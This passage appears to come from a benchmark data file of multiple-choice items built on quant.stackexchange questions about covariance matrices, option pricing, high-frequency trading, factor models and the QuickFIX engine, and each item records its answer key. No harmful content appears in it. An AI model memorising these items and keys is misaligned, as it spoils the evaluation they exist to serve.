time-series over $T$ periods. I would like to explore some of the properties of this matrix's evolution over time, particularly whether correlation as a whole is increasing or decreasing, and whether certain series become more or less correlated with the whole. I am looking for suggestions as to the kinds of analysis to perform on this data-set, and particularly graphical/pictorial analysis. Ideally, I would like to avoid having to look in depth into each series as $N$ is rather large. Update The following graphs were generated based on the accepted answer from @Quant-Guy. PC = principal component = eigenvector. The analysis was done on correlations rather than covariances in order to account for vastly different variances of the $N$ series.", "question_score": 51, "question_tags": ["time-series", "correlation", "covariance"], "choices": {"A": "Representing time series (esp. tick data) using elaborate data structures may be not the best idea. You may want to try to use two arrays of the same length to store your time series. The first array stores values (e.g. price) and the second array stores time. Note that the second series is monotonically increasing (or at least non-decreasing), i.e. it's sorted. This property enables you to search it using the binary search algorithm. Once you get an index of a time of interest in the second array you also have the index of the relevant entry in the first...", "B": "It is hard to find a stable non-trivial dependence structure in financial data. Usually when such is found it is hard to rationalize. One of my favorite (although I am sure there are others) is the so called \"Presidential Puzzle\". This is an old finding by Santa-Clara and Valkanov (2003) They find that \" Excess return in the stock market is higher under Democratic than Republican presidencies: 9 percent for the value‐weighted and 16 percent for the equal‐weighted portfolio. At the time the finding was very robust and did not seem to be explained by anything else. What is more...", "C": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "D": "I would consider a motion chart that plots the eigenvalues of the covariance matrix over time. For a static view you can create a table: rows represent dates, and columns represent eigenvectors. The entries of the table represent changes in the angle of the eigenvector from the previous row. This will show how stable your covariance structure is. You can also create a second table this time with eigenvalues as the columns sorted from high to low (and the corresponding values below for each date). This shows the variance described by each eigenvector so you can see whether correlation as..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1565/how-do-i-graphically-represent-the-evolution-of-a-covariance-matrix-over-time"} {"id": "finance_1891", "domain": "finance", "question_title": "How much data is needed to validate a short-horizon trading strategy?", "question_body": "Suppose one has an idea for a short-horizon trading strategy, which we will define as having an average holding period of under 1 week and a required latency between signal calculation and execution of under 1 minute. This category includes much more than just high-frequency market-making strategies. It also includes statistical arbitrage, news-based trading, trading earnings or economics releases, cross-market arbitrage, short-term reversal/momentum, etc. Before even thinking about trading such a strategy, one would obviously want to backtest it on a sufficiently long data sample. How much data does one need to acquire in order to be confident that the strategy \"works\" and is not a statistical fluke? I don't mean confident enough to bet the ranch, but confident enough to assign significant additional resources to forward testing or trading a relatively small amount of capital. Acquiring data (and not just market price data) could be very expensive or impossible for some signals, such as those based on newer economic or financial time-series. As such, this question is important both for deciding what strategies to investigate and how much to expect to invest on data acquisition. A complete answer should depend on the expected Information Ratio of the strategy, as a low IR strategy would take a much longer sample to distinguish from noise.", "question_score": 51, "question_tags": ["data", "time-series", "backtesting", "quant-trading-strategies", "arbitrage"], "choices": {"A": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "B": "Strictly speaking, data snooping is not the same as in-sample vs out-of-sample model selection and testing, but has to deal with sequential or multiple tests of hypothesis based on the same data set. To quote Halbert White: Data snooping occurs when a given set of data is used more than once for purposes of inference or model selection. When such data reuse occurs, there is always the possibility that any satisfactory results obtained may simply be due to chance rather than to any merit inherent in the methody yielding the results. Let me provide an example. Suppose that you have...", "C": "Consider the standard error , and in particular the distance between the upper and lower limits: \\begin{equation} \\Delta = (\\bar{x} + SE \\cdot \\alpha) - (\\bar{x} - SE \\cdot \\alpha) = 2 \\cdot SE \\cdot \\alpha \\end{equation} Using the formula for standard error, we can solve for sample size: \\begin{equation} n = \\left(\\frac{2 \\cdot s \\cdot \\alpha}{\\Delta}\\right)^{2} \\end{equation} where $s$ is the measured standard deviation, which you already have from your IR calculation. High-frequency Example I was testing a market-making model recently that was expected to return a couple basis points for each trade and I wanted to be confident...", "D": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)"}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1891/how-much-data-is-needed-to-validate-a-short-horizon-trading-strategy"} {"id": "finance_85", "domain": "finance", "question_title": "Are there any new Option pricing models?", "question_body": "Back in the mid 90's I used the Black-Scholes Model and the Cox-Ross-Rubenstein (Binomial) Model's to price Options. That was nearly 15 years ago and I was wondering if there are any new models being used to price Options?", "question_score": 50, "question_tags": ["black-scholes", "option-pricing"], "choices": {"A": "Black-Scholes itself didn't change a lot but we can now adjust it to deal with a lot more complicated factors to price more complicated contracts: stochastic volatility (Heston, Gatheral) stochastic rates (Hull) credit risk dividends Other methods (computing intensive) have also evolved to deal with various types of contracts where BS is not very appropriate choice (e.g. Monte Carlo simulation for path-dependant options).", "B": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "C": "The way you do it in the first place is a discretization of the Geometric Brownian Motion (GBM) process. This method is most useful when you want to compute the path between $S_0$ and $S_t$, i.e. you want to know all the intermediary points $S_i$ for $0 \\leq i \\leq t$. The second equation is a closed form solution for the GBM given $S_0$. A simple mathematical proof showed that, if you know the initial point $S_0$ (which is $a$ in your equation), then the value of the process at time $t$ is given by your equation (which contains $W_t$,...", "D": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/85/are-there-any-new-option-pricing-models"} {"id": "finance_1274", "domain": "finance", "question_title": "How can we reverse engineer a market-making algorithm (HFT)?", "question_body": "Consider a market participant $A$ who is mechanically following an automated liquidity providing algorithm (HFT) in a number of large cap stocks on a specific exchange. Assume furthermore that we are able to observe all orders placed by $A$ and that we know that the algorithm used by $A$ takes only public market data as input. $A$ starts and ends all trading days with zero inventory. We want to reverse engineer the algorithm used by $A$. Let's call this algorithm $f(...)$. The first step in reverse engineering the algorithm $f(...)$ would be to collect potential input variables to the algorithm that can later be used to infer the exact form of $f(...)$. The first problem we face is which input variables we should collect in order to be able to reverse engineer $f(...)$. To have a starting point we can consider the input variables used in Avellaneda & Stoikov (2008) . In Avellaneda & Stoikov (2008) the authors derive how a rational market maker (non-specialist) should set his bid and ask quotes in a limit order book market. The results are obviously contingent on the assumptions and model choices made in the paper. The optimal bid (or ask) in Avellaneda & Stoikov (2008) is a function of the following inputs: The trader's reservation price, which is a function of the security price ($S$), the market maker's current inventory ($q$) and time left until terminal holding time ($T-t$) The relative risk aversion of the trader ($\\gamma$) (obviously hard to observe!) The frequency of new bid and ask quotes ($\\lambda_{bid}$ and $\\lambda_{ask}$) The latest change in frequency of new bid and ask quotes ($\\delta\\lambda_{bid}$ and $\\delta\\lambda_{ask}$) What potential input variables should we collect in order to be able to reverse engineer $f(...)$?", "question_score": 50, "question_tags": ["trading", "algorithmic-trading", "high-frequency", "market-microstructure"], "choices": {"A": "I'll take a stab at it, but this is a really broad question. A direct answer: Bayesian models often use \"probability that the counter-party is informed.\" Indirect answers: I think your assumption is that the algorithm operates on each stock individually, and has no knowledge of what it's doing in any other stock. But, it is likely that the algorithm is doing some hedging that you don't see yet. You should look at similar products (or build synthetic baskets) and see if your algorithm is changing it's quote sizes/prices when other products' quote sizes/prices change. (It is also possible that...", "B": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;...", "C": "There seems to be a basic fallacy that someone can come along and learn some machine learning or AI algorithms, set them up as a black box, hit go, and sit back while they retire. My advice to you: Learn statistics and machine learning first, then worry about how to apply them to a given problem. There is no free lunch here. Data analysis is hard work . Read \"The Elements of Statistical Learning\" (the pdf is available for free on the website), and don't start trying to build a model until you understand at least the first 8 chapters....", "D": "The lead paper in the January 2011 Journal of Finance ( Hendershott, Jones, and Menkveld ) addresses algorithmic trading (AT). In short, they find that AT improves liquidity as measured by bid-offer spreads. Taking the econometrics as correct (it is in the Journal of Finance) the next question is if bid-offer spreads are a sufficient statistic for measuring liquidity (or any other benefits). It is a difficult question to answer because, given current market structure, AT may improve liquidity (as measured by bid-offer spreads), but without data on other market structures, it is hard to say that we wouldn't better..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1274/how-can-we-reverse-engineer-a-market-making-algorithm-hft"} {"id": "finance_2074", "domain": "finance", "question_title": "What is the best way to "fix" a covariance matrix that is not positive semi-definite?", "question_body": "I have a sample covariance matrix of S&P 500 security returns where the smallest k-th eigenvalues are negative and quite small (reflecting noise and some high correlations in the matrix). I am performing some operations on the covariance matrix and this matrix must be positive definite. What is the best way to \"fix\" the covariance matrix? (For what it's worth, I intend to take the inverse of the covariance matrix.) One approach proposed by Rebonato (1999) is to decompose the covariance matrix into its eigenvectors and eigenvalues, set the negative eigenvalues to 0 or (0+epsilon), and then rebuild the covariance matrix. The issue I have with this method is that: the trace of the original matrix is not preserved, and the method ignores the idea of level repulsion in random matrices (i.e. that eigenvalues are not close to each other). Higham (2001) uses an optimization procedure to find the nearest correlation matrix that is positive semi-definite. Grubisic and Pietersz (2003) have a geometric method they claim outperforms the Higham technique. Incidentally, some more recent twists on Rebonato's paper are Kercheval (2009) and Rapisardo (2006) who build off of Rebonato with a geometric approach. A critical point is that the resulting matrix may not be singular (which can be the case when using optimization methods). What is the best way to transform a covariance matrix into a positive definite covariance matrix? UPDATE: Perhaps another angle of attack is to test whether a security is linearly dependent on a combination of securities and removing the offender.", "question_score": 49, "question_tags": ["risk", "statistics", "research", "correlation", "covariance"], "choices": {"A": "Nick Higham's specialty is algorithms to find the nearest correlation matrix. His older work involved increased performance (in order-of-convergence terms) of techniques that successively projected a nearly-positive-semi-definite matrix onto the positive semidefinite space. Perhaps even more interesting, from the practitioner point of view, is his extension to the case of correlation matrices with factor model structures. The best place to look for this work is probably the PhD thesis paper by his doctoral student Ruediger Borsdorf. Higham's blog entry covers his work up to 2013 pretty well.", "B": "I'm just providing a global answer to the question, as I think it can be interesting for some beginners in quant finance. The properties given by TheBridge: Normalize $\\rho (\\emptyset)=0$ This means you have no risk in taking no position. Sub-addiitivity $\\rho(A_1+A_2) \\leq \\rho(A_1)+\\rho(A_2)$ Having a position in two different can only decrease the risk of the portfolio (diversification) Positive homogeneity $\\rho(\\lambda A) = \\lambda \\rho(A)$ Doubling a position in an asset A doubles your risk. And finally, Translation invariance $\\rho(A + x) = \\rho(A)-x$ That is, adding cash to a portfolio only diminishes the risk. So a risk-measure is...", "C": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "D": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)"}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2074/what-is-the-best-way-to-fix-a-covariance-matrix-that-is-not-positive-semi-defi"} {"id": "finance_115", "domain": "finance", "question_title": "Lévy alpha-stable distribution and modelling of stock prices.", "question_body": "Since Mandelbrot, Fama and others have performed seminal work on the topic, it has been suspected that stock price fluctuations can be more appropriately modeled using Lévy alpha-stable distrbutions other than the normal distribution law. Yet, the subject is somewhat controversial, there is a lot of literature in defense of the normal law and criticizing distributions without bounded variation. Moreover, precisely because of the the unbounded variation, the whole standard framework of quantitative analysis can not be simply copy/pasted to deal with these more \"exotic\" distributions. Yet, I think there should be something to say about how to value risk of fluctuations. After all, the approaches using the variance are just shortcuts, what one really has in mind is the probability of a fluctuation of a certain size. So I was wondering if there is any literature investigating that in particular. In other words: what is the current status of financial theories based on Lévy alpha-stable distributions? What are good review papers of the field?", "question_score": 47, "question_tags": ["risk", "equities", "variance", "probability"], "choices": {"A": "I recently read \"Modeling financial data with stable distributions\" (Nolan 2005) which gives a survey of this area and might be of interest (I believe it was contained in \"Handbook of Heavy Tailed Distributions in Finance\" ). Another more recent reference is \"Alpha-Stable Paradigm in Financial Markets\" (2008). I'm not aware of anything covering \"risk of fluctuations\" and this is still certainly not at the center of the field (i.e. most theory still includes some version of Gaussian or mixture of Gaussians). Would also be interested in other references.", "B": "The standard story (also told by @vonjd) is of \"The Drunk and Her Dog\". This is based on \"A Drunk and Her Dog: An Illustration of Cointegration and Error Correction\" (1994). The story is itself based on the standard illustration for a random walk known as the \"drunkard's walk\". The Dickey-Fuller test is used to check for a unit root . It can be used as part of the general Engle-Granger two-step method (although it isn't the only option). In this case, while the two assets themselves are not stationary, you are able to test if the residuals between a...", "C": "From what I remember, there is no real relation between Markov and Martingale, and my intuition was confirmed by this post . Basically, it says that you can say neither of the following: If A is Markov, then A is a martingale. If A is a martingale, then A is Markov. further down the post, you can find two counter examples: $dX_t = a dt + \\sigma dW_t$ is Markov but not a martingale and $dX_t = (\\int_0^t X_s ds) dW_t$ is a Martingale but is not Markov. As for the assumption of these properties being true, I think it...", "D": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/115/l%c3%a9vy-alpha-stable-distribution-and-modelling-of-stock-prices"} {"id": "finance_9313", "domain": "finance", "question_title": "Machine Learning vs Regression and/or Why still use the latter?", "question_body": "I come from a different field (Machine learning/AI/data science), but aim to ask a philosophical question with the utmost respect: Why do quantitative financial analysts (analysts/traders/etc.) prefer (or at least seem) traditional statistical methods (traditional = frequentist/regression/normal correlation methods/ts analysis) over newer AI/machine learning methods? I've read a million models, but it seems biased? Background: I recently joined a 1B AUM (I know it's not a ton) asset management firm. I was asked to build a new model for a sector rotation strategy (basically predicting which SP 500 sector would do the best over 6 months-- chose to use forward rolling 6 month returns) they employ and my first inclination was to combine ARIMA (traditional) with random forest (feature selection) and a categorical (based on normal distribution standard deviation) gradient boosted classifier for ETFs in each sector. Not to be rude, but I beat the ValuLine timeliness for each sector. I used the above mentioned returns as my indicator and pretty much threw everthing at the wall for predictors initially (basically just combing FRED), then used randomForest to select features. I ended up combining EMA and percent change to create a pretty solid model that, like I said, beat ValuLine. I've read a lot of literature, and I haven't seen anyone do anything like this. Any help in terms of pointing me in the right direction for literature? Or any answers to the overarching idea of why isn't there more machine learning in equity markets (forgetting social/news analysis)? EDIT: For clarification, I'm really interested in long-term predictions (I think Shiller was right) based on macro predictors. Thanks PS- I've been lurking for a while. Thanks for all the awesome questions, answers, and discussions.", "question_score": 46, "question_tags": ["equities", "regression", "machine-learning"], "choices": {"A": "In order to answer your question (for you) you would need something to compare to . You would need numbers to know if it is slower/faster, how much, and if it will impact your system overall. Also knowing your performance goals could narrow down the options. My advice is to take a look at your overall architecture of the sytem you have or intend to build. To just look at QuickFIX is rather meaningless without the whole chain involved in processing information and reacting to it . As an example, say QuickFIX is 100 times faster than some part (in...", "B": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "C": "Because of: The (extreme) dominance of noise over signal The prevalence of non-repeating patterns (many of which we know are not going to repeat) A pathetic sample size for cross-validation Regime changes due to exogenous events. These are typically in the cross-val window which makes it even worse. (GFC, financial integration, trade law changes, interest rate adjustments by central banks, some idiot in a bank was hiding trades and loses 5 billions dollars, etc). It is well known that non-linear relationships are generally just artefacts of the in sample dataset There is also the following: Much price changes are driven...", "D": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/9313/machine-learning-vs-regression-and-or-why-still-use-the-latter"} {"id": "finance_2870", "domain": "finance", "question_title": "Why does the minimum variance portfolio provide good returns?", "question_body": "I've been a researching minimum variance portfolios (from this link ) and find that by building MVPs adding constraints on portfolio weights and a few other tweaks to the methods outlined I get generally positive returns over a six-month to one year time scale. I am looking to build some portfolios that are low risk, but have good long term (yearly) expected returns. MVP (as in minimum variance NOT mean variance) seems promising from backtests but I don't have a good intuition for why this works. I understand the optimization procedure is primarily looking to optimize for reducing variance, and I see that this works in the backtest (very low standard deviation of returns). What I don't have an intuitive feel for is why optimizing variance alone (with no regards to optimizing returns, i.e. no mean in the optimization as in traditional mean-variance optimization) gives generally positive returns. Any explanations?", "question_score": 45, "question_tags": ["portfolio-management", "optimization", "modern-portfolio-theory", "covariance"], "choices": {"A": "Short of having a 'reasonable' predictive model for expected returns and the covariance matrix, there are a couple lines of attack. Shrinkage estimators (via Bayesian inference or Stein-class of estimators) Robust portfolio optimization Michaud's Resampled Efficient Frontier Imposing norm constraints on portfolio weights Naively, shrinkage methods 'shrink' (of course,no?) your estimates (arrived at using historical data), toward some global mean or some target. Within the mean-variance framework, you can use the shrinkage estimators, for both, the expected returns vector, as well as the covariance matrix. Jorion introduced application of a 'Bayes-Stein estimator' to portfolio analysis. Bradley & Efron have a...", "B": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "C": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "D": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)"}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2870/why-does-the-minimum-variance-portfolio-provide-good-returns"} {"id": "finance_17125", "domain": "finance", "question_title": "How to build a factor model?", "question_body": "Factor models such as Fama-French or the other ones that are partially summarized here work on the cross-section of asset returns. How are the factors built, how are sensitivities/coefficients estimated? In this context Fama-MacBeth regressions are usually mentioned. How does this method work intuitively? Could anyone give a step-by-step manual? EDIT: Links to papers and manuals have been posted in the two answers - this is great. But can someone provide more intuition in the answer? Say we have a universe of stocks (say MSCI Europe) and we group them by value and size. How can we proceed? How do we construct the factors and how do we construct the sensitivities? Could someone please give a more direct explanation, without a link? thanks!", "question_score": 44, "question_tags": ["regression", "factor-models", "fama-french"], "choices": {"A": "The standard story (also told by @vonjd) is of \"The Drunk and Her Dog\". This is based on \"A Drunk and Her Dog: An Illustration of Cointegration and Error Correction\" (1994). The story is itself based on the standard illustration for a random walk known as the \"drunkard's walk\". The Dickey-Fuller test is used to check for a unit root . It can be used as part of the general Engle-Granger two-step method (although it isn't the only option). In this case, while the two assets themselves are not stationary, you are able to test if the residuals between a...", "B": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "C": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "D": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$...."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/17125/how-to-build-a-factor-model"} {"id": "finance_1658", "domain": "finance", "question_title": "Has high frequency trading (HFT) been a net benefit or cost to society?", "question_body": "Various studies have demonstrated the very large and growing influence of high frequency trading (HFT) on the markets. HFT firms are clearly making a great deal of money from somewhere, and it stands to reason that they are making this money at the expense of every other participant in the market. Defenders of HFT will argue that HFT firms provide an essential service to the economy in the form of greater liquidity. What research has been done on the benefits and costs of HFT? Has any study attempted to measure either the benefits or the costs? How would one attempt to measures these benefits and costs? What would be the effect of banning rapidly cancelled limit orders (see follow-up question ), e.g. via a minimum 1-second tick rule? Any references and professional opinions (backed by research) on this topic would be appreciated.", "question_score": 42, "question_tags": ["algorithmic-trading", "research", "high-frequency", "market-microstructure"], "choices": {"A": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "B": "The lead paper in the January 2011 Journal of Finance ( Hendershott, Jones, and Menkveld ) addresses algorithmic trading (AT). In short, they find that AT improves liquidity as measured by bid-offer spreads. Taking the econometrics as correct (it is in the Journal of Finance) the next question is if bid-offer spreads are a sufficient statistic for measuring liquidity (or any other benefits). It is a difficult question to answer because, given current market structure, AT may improve liquidity (as measured by bid-offer spreads), but without data on other market structures, it is hard to say that we wouldn't better...", "C": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "D": "I can think of an application in options pricing. I came across the following paper a long time ago but think it explains FT very eloquently as applied to pricing options under BS: http://maxmatsuda.com/Papers/2004/Matsuda%20Intro%20FT%20Pricing.pdf The fun starts on page 112 but it relies on the 1998 paper by Madan and Carr. What I like about the paper is that it gives a thorough introduction to FT and only when the groundwork is set it applies it to option pricing. Not a bad approach vs many other papers which make a lot of assumption and assume the reader can jump right..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1658/has-high-frequency-trading-hft-been-a-net-benefit-or-cost-to-society"} {"id": "finance_8274", "domain": "finance", "question_title": "How to estimate real-world probabilities", "question_body": "In the world of finance, Risk-neutral pricing allow us to estimate the fair value of derivatives using the risk free rate as the expected return of the underlyings. However, the behavior of financial assets in the real-world might be substantially different to the evolution used in a risk-neutral context. For instance, if I want to estimate the real-world probability of an equity asset reaching certain thresholds, which models and calibration techniques could be used? In particular, some questions that may arise in the estimation of real-world probabilities are: Calibration : Should real-world probabilities be calibrated to current market prices or, alternative, historical data should be used for this type of estimation? No-arbitrage conditions : Could they be relaxed or they still play a role in the assessment of real-world probabilities? Expected returns : Assuming that I have already estimated the expected return of an asset $\\mu$, how accurate would be a real-world estimation that combines a widely used evolution model (e.g. Geometric Brownian motion ), with the use of $\\mu$ instead of the risk free rate $r$? Per comments, I understand that in order to estimate real-world probabilities: I should use expected returns instead of the risk-free rate. The asset evolution should still respect the no-arbitrage conditions (i.e: the real-world dynamics should still reproduce the current prices of vanilla options). However, if we just use $\\mu$ instead of $r$, the underlying asset behavior might not be consistent with the observed option prices. For instance, if we just change $r$ by $\\mu$ (with $\\mu>r$) the underlying asset dynamics will lead to call prices above its current market price, and put prices below its market price. Therefore, in addition to use expected returns, which other adjustment might be needed in order to estimate real-world probabilities? Any papers or references regarding real-world estimation will be greatly appreciated.", "question_score": 42, "question_tags": ["derivatives", "risk-neutral-measure", "forecasting", "stochastic-discount", "real-world-measure"], "choices": {"A": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "B": "There seems to be a basic fallacy that someone can come along and learn some machine learning or AI algorithms, set them up as a black box, hit go, and sit back while they retire. My advice to you: Learn statistics and machine learning first, then worry about how to apply them to a given problem. There is no free lunch here. Data analysis is hard work . Read \"The Elements of Statistical Learning\" (the pdf is available for free on the website), and don't start trying to build a model until you understand at least the first 8 chapters....", "C": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;...", "D": "A general model (with continuous paths) can be written $$ \\frac{dS_t}{S_t} = r_t dt + \\sigma_t dW_t^S $$ where the short rate $r_t$ and spot volatility $\\sigma_t$ are stochastic processes. In the Black-Scholes model both $r$ and $\\sigma$ are deterministic functions of time (even constant in the original model). This produces a flat smile for any expiry $T$. And we have the closed form formula for option prices $$ C(t,S;T,K) = BS(S,T-t,K;\\Sigma(T,K)) $$ where $BS$ is the BS formula and $\\Sigma(T,K) = \\sqrt{\\frac{1}{T-t}\\int_t^T \\sigma(s)^2 ds}$. This is not consistent with the smile observed on the market. In order to match..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/8274/how-to-estimate-real-world-probabilities"} {"id": "finance_557", "domain": "finance", "question_title": "How fast is QuickFix ?", "question_body": "In my firm we are beginning a new OMS (Order Management System) project and there is a debate whether we use Quickfix or we go for a professional fix engine? Because there is a common doubt that QuickFix is not enough fast and obviously we will not get any technical support. I heard that in BOVESPA it has been used for a while. They are changing it with a paid one now. Well that is enough for me. If they use it I can use it. Should I choose a professional one over QuickFix? Is it not good enough?", "question_score": 41, "question_tags": ["fix"], "choices": {"A": "There are some cases where you can blend your portfolios using weights directly. One case involves 